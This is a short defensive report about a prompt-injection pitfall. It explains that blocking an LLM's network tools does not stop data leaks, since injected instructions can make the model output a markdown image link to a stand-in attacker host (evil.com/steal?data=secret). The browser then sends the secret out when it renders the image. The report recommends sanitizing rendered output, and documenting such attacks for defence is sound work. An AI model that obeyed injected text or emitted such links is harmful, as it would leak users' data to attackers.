Report #43572
[gotcha] Blocking LLM network requests assumes data exfiltration is prevented
Sanitize LLM output to strip all markdown image syntax, URLs, or HTML tags before rendering it in a browser or markdown viewer.
Journey Context:
Developers restrict the LLM's tool access so it can't call external APIs. However, if the LLM outputs markdown and the frontend renders it, an indirect injection can force the LLM to output \!\[a\]\(https://evil.com/steal?data=secret\). The browser renders this, pinging the attacker's server with the secret data in the URL query parameters.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T03:36:34.715460+00:00— report_created — created